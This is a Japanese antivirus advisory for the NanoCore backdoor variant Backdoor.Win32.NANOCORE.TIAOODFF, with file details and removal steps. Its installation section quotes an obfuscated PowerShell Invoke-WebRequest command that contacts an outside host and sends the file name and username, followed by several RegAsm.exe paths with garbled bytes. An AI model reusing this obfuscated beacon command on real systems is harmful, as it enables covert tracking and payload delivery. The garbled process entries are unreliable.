Backdoor.Win32.NANOCORE.TIAOODFF
2020年1月27日
プラットフォーム:
Windows
危険度:
ダメージ度:
感染力:
感染確認数:
- マルウェアタイプ: バックドア型
- 破壊活動の有無: なし
- 暗号化:
- 感染報告の有無: はい
概要
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
詳細
ファイルサイズ 612,352 bytes
タイプ EXE
メモリ常駐 はい
発見日 2020年1月27日
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のプロセスを追加します。
- "powershell" -Command "(Invoke-WebRequest '\xe5\xa4\x8dh\xe5\xa4\x8dt\xe5\xa4\x8dtps\xe5\xa4\x8d://\xe5\xa4\x8dr\xe5\xa4\x8da\xe5\xa4\x8dz\xe5\xa4\x8dc\xe5\xa4\x8dr\xe5\xa4\x8dy\xe5\xa4\x8dp\xe5\xa4\x8dt\xe5\xa4\x8der\xe5\xa4\x8d.c\xe5\xa4\x8do\xe5\xa4\x8dm\xe5\xa4\x8d/\xe5\xa4\x8da\xe5\xa4\x8dp\xe5\xa4\x8di\xe5\xa4\x8d/\xe5\xa4\x8dX\xe5\xa4\x8d.\xe5\xa4\x8dp\xe5\xa4\x8dh\xe5\xa4\x8dp\xe5\xa4\x8d?\xe5\xa4\x8dX\xe5\xa4\x8dD=giovanni101&XLA=b56e30bd5a4baf008a85f45ceeda67228d951a3818fb9948f41a93e1b4f7390e&file={malware file name}&userpc={username}'.Replace('\xe5\xa4\x8d', '') -UseBasicParsing).Content"
- "%Windows%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exee"
- "%Windows%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\xc3\xa4\xc3\x9f2"
- "%Windows%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeP\xc2\xa5\xc3\xafs"
- "%Windows%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\x10\xc3\xa02"
- "%Windows%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\xc3\xa8\x1f\xc3\xb0sa"
(註:%Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)
このウイルス情報は、自動解析システムにより作成されました。
対応方法
対応検索エンジン: 9.850
手順 1
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
「Backdoor.Win32.NANOCORE.TIAOODFF」で検出したファイル名を確認し、そのファイルを終了します。
[ 詳細 ]
- すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
- 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
セーフモードについては、こちらをご参照下さい。 - 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。
手順 3
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Backdoor.Win32.NANOCORE.TIAOODFF」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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